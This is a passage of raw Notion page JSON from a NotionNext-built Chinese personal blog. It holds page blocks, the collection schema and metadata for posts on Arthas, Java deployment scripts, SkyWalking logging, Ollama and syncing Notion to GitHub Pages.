5-4cf4-af7c-92289e6b2a6f","type":"column","content":["1b7f549f-8224-432d-bb0f-63cab60c829e"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"68a0b662-e72a-470b-95d5-c904c3908fa2":{"value":{"id":"68a0b662-e72a-470b-95d5-c904c3908fa2","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"c7184f46-708d-4e2a-842e-86e0110aece0","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"e6f04189-03e8-4eb7-8d83-f52461442c69":{"value":{"id":"e6f04189-03e8-4eb7-8d83-f52461442c69","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"27670dd3-1c08-417c-8df9-ee69095a647e","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"1b7f549f-8224-432d-bb0f-63cab60c829e":{"value":{"id":"1b7f549f-8224-432d-bb0f-63cab60c829e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"7759e27d-6555-4cf4-af7c-92289e6b2a6f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"8800522e-0ef9-40b9-a37c-26e5267758ab":{"value":{"id":"8800522e-0ef9-40b9-a37c-26e5267758ab","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"27670dd3-1c08-417c-8df9-ee69095a647e","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"8a913cee-ee89-46cd-a83e-a3f02655f038":{"value":{"id":"8a913cee-ee89-46cd-a83e-a3f02655f038","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 